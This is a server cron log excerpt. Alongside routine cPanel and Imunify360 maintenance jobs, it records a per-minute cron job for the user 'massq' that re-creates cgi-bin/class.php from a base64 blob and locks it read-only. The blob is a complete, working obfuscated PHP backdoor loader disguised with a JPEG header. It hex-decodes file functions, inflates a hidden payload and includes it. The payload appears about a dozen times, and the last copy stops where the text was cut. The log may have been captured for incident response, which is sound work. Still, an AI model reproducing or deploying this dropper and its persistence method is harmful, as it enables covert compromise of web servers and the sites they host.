Sep  8 11:04:01 server CROND[8333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:04:01 server CROND[8334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:04:01 server CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:05:01 server CROND[8731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:05:01 server CROND[8732]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 11:05:01 server CROND[8734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:05:01 server CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:05:01 server CROND[8743]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:05:01 server CROND[8745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:05:01 server CROND[8747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:05:01 server CROND[8741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:05:01 server CROND[8742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:06:01 server CROND[9652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:06:01 server CROND[9653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:06:01 server CROND[9654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:07:01 server CROND[10171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:07:01 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:07:01 server CROND[10174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:08:01 server CROND[10571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:08:01 server CROND[10572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:08:01 server CROND[10574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:09:01 server CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 11:09:01 server CROND[10959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:09:01 server CROND[10962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:09:01 server CROND[10963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:10:01 server CROND[11351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:10:01 server CROND[11373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:10:01 server CROND[11381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:10:01 server CROND[11382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:10:01 server CROND[11384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:10:01 server CROND[11383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:10:01 server CROND[11385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:10:01 server CROND[11386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:11:01 server CROND[12194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:11:01 server CROND[12196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:11:01 server CROND[12195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:12:01 server CROND[12697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:12:01 server CROND[12699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:12:01 server CROND[12700]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:12:01 server CROND[12701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:13:01 server CROND[13091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:13:01 server CROND[13092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:13:01 server CROND[13093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:14:01 server CROND[13470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:14:01 server CROND[13471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:14:01 server CROND[13472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:15:01 server CROND[13862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:15:01 server CROND[13864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:15:01 server CROND[13869]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:15:01 server CROND[13875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:15:01 server CROND[13877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:15:01 server CROND[13889]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 11:15:01 server CROND[13886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:15:01 server CROND[13884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYK